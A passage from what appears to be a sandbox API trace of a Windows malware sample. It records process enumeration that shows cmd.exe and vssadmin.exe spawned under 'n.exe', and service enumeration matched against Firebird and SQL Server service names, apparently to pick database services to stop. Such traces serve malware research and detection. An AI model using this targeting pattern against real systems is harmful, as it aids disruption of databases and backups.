pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0196.664] lstrlenW (lpString="dwm.exe") returned 7 [0196.664] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.664] lstrlenW (lpString="svchost.exe") returned 11 [0196.664] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0196.664] lstrlenW (lpString="n.exe") returned 5 [0196.665] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0196.665] lstrlenW (lpString="spoolsv.exe") returned 11 [0196.665] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.665] lstrlenW (lpString="svchost.exe") returned 11 [0196.665] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0196.666] lstrlenW (lpString="taskhost.exe") returned 12 [0196.666] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0196.666] lstrlenW (lpString="reader_sl.exe") returned 13 [0196.666] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0196.666] lstrlenW (lpString="n.exe") returned 5 [0196.667] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0196.667] lstrlenW (lpString="cmd.exe") returned 7 [0196.667] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0196.667] lstrlenW (lpString="conhost.exe") returned 11 [0196.667] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0196.668] lstrlenW (lpString="vssadmin.exe") returned 12 [0196.668] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0196.668] lstrlenW (lpString="VSSVC.exe") returned 9 [0196.668] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.668] lstrlenW (lpString="svchost.exe") returned 11 [0196.668] Process32NextW (in: hSnapshot=0x17c, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0196.669] CloseHandle (hObject=0x17c) returned 1 [0196.669] Sleep (dwMilliseconds=0x1f4) [0197.338] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x633dc8 [0197.357] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 0 [0197.365] GetLastError () returned 0xea [0197.366] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x12c6) returned 0x6b5c80 [0197.366] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6b5c80, cbBufSize=0x12c6, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6b5c80, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 1 [0197.372] CloseServiceHandle (hSCObject=0x633dc8) returned 1 [0197.372] lstrlenW (lpString="Appinfo") returned 7 [0197.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0197.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0197.372] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0197.372] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0197.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0197.372] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0197.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0197.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0197.373] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0197.373] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0197.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0197.373] lstrlenW (lpString="AudioSrv") returned 8 [0197.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0197.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0197.373] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0197.373] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0197.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0197.373] lstrlenW (lpString="BFE") returned 3 [0197.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0197.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0197.373] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0197.373] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0197.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0197.373] lstrlenW (lpString="CryptSvc") returned 8 [0197.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0197.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0197.373] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0197.373] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0197.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0197.373] lstrlenW (lpString="CscService") returned 10 [0197.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0197.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0197.373] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0197.373] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0197.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0197.374] lstrlenW (lpString="DcomLaunch") returned 10 [0197.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0197.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0197.374] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0197.374] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0197.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0197.374] lstrlenW (lpString="Dhcp") returned 4 [0197.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0197.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0197.374] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0197.374] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0197.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0197.374] lstrlenW (lpString="Dnscache") returned 8 [0197.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0197.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0197.374] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0197.374] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0197.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0197.374] lstrlenW (lpString="DPS") returned 3 [0197.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0197.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0197.374] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0197.374] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0197.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0197.374] lstrlenW (lpString="eventlog") returned 8 [0197.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0197.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0197.374] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0197.374] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0197.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0197.375] lstrlenW (lpString="EventSystem") returned 11 [0197.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0197.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0197.375] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0197.375] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0197.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0197.375] lstrlenW (lpString="gpsvc") returned 5 [0197.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0197.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0197.375] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0197.375] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0197.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0197.375] lstrlenW (lpString="iphlpsvc") returned 8 [0197.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0197.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0197.375] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0197.375] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0197.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0197.375] lstrlenW (lpString="LanmanServer") returned 12 [0197.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0197.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0197.375] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0197.375] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0197.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0197.375] lstrlenW (lpString="LanmanWorkstation") returned 17 [0197.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0197.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0197.376] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0197.376] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0197.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0197.376] lstrlenW (lpString="lmhosts") returned 7 [0197.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0197.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0197.376] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0197.376] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0197.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0197.376] lstrlenW (lpString="MMCSS") returned 5 [0197.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0197.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0197.376] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0197.376] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0197.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0197.376] lstrlenW (lpString="MpsSvc") returned 6 [0197.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0197.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0197.377] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0197.377] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0197.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0197.377] lstrlenW (lpString="Netman") returned 6 [0197.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0197.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0197.377] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0197.377] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0197.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0197.377] lstrlenW (lpString="netprofm") returned 8 [0197.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0197.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0197.377] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0197.377] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0197.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0197.377] lstrlenW (lpString="NlaSvc") returned 6 [0197.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0197.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0197.377] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0197.377] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0197.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0197.377] lstrlenW (lpString="nsi") returned 3 [0197.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0197.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0197.377] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0197.377] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0197.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0197.378] lstrlenW (lpString="PcaSvc") returned 6 [0197.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0197.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0197.378] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0197.378] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0197.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0197.378] lstrlenW (lpString="PlugPlay") returned 8 [0197.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0197.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0197.378] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0197.378] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0197.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0197.378] lstrlenW (lpString="Power") returned 5 [0197.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0197.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0197.378] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0197.378] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0197.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0197.378] lstrlenW (lpString="ProfSvc") returned 7 [0197.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0197.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0197.378] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0197.378] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0197.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0197.378] lstrlenW (lpString="RpcEptMapper") returned 12 [0197.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0197.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0197.379] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0197.379] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0197.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0197.379] lstrlenW (lpString="RpcSs") returned 5 [0197.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0197.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0197.379] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0197.379] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0197.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0197.379] lstrlenW (lpString="SamSs") returned 5 [0197.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0197.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0197.379] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0197.379] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0197.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0197.379] lstrlenW (lpString="Schedule") returned 8 [0197.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0197.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0197.379] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0197.379] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0197.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0197.379] lstrlenW (lpString="SENS") returned 4 [0197.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0197.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0197.379] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0197.380] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0197.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0197.380] lstrlenW (lpString="ShellHWDetection") returned 16 [0197.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0197.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0197.380] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0197.380] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0197.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0197.380] lstrlenW (lpString="Spooler") returned 7 [0197.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0197.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0197.380] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0197.380] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0197.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0197.380] lstrlenW (lpString="swprv") returned 5 [0197.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0197.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0197.380] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0197.380] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0197.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0197.380] lstrlenW (lpString="SysMain") returned 7 [0197.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0197.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0197.380] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0197.380] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0197.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0197.381] lstrlenW (lpString="Themes") returned 6 [0197.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0197.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0197.381] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0197.381] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0197.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0197.381] lstrlenW (lpString="TrkWks") returned 6 [0197.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0197.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0197.381] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0197.381] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0197.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0197.381] lstrlenW (lpString="UxSms") returned 5 [0197.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0197.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0197.381] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0197.381] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0197.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0197.381] lstrlenW (lpString="VSS") returned 3 [0197.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0197.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0197.381] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0197.381] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0197.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0197.381] lstrlenW (lpString="WdiServiceHost") returned 14 [0197.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0197.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0197.382] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0197.382] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0197.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0197.382] lstrlenW (lpString="WdiSystemHost") returned 13 [0197.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0197.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0197.382] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0197.382] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0197.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0197.382] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0197.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0197.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0197.382] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0197.382] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0197.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0197.382] lstrlenW (lpString="Winmgmt") returned 7 [0197.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0197.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 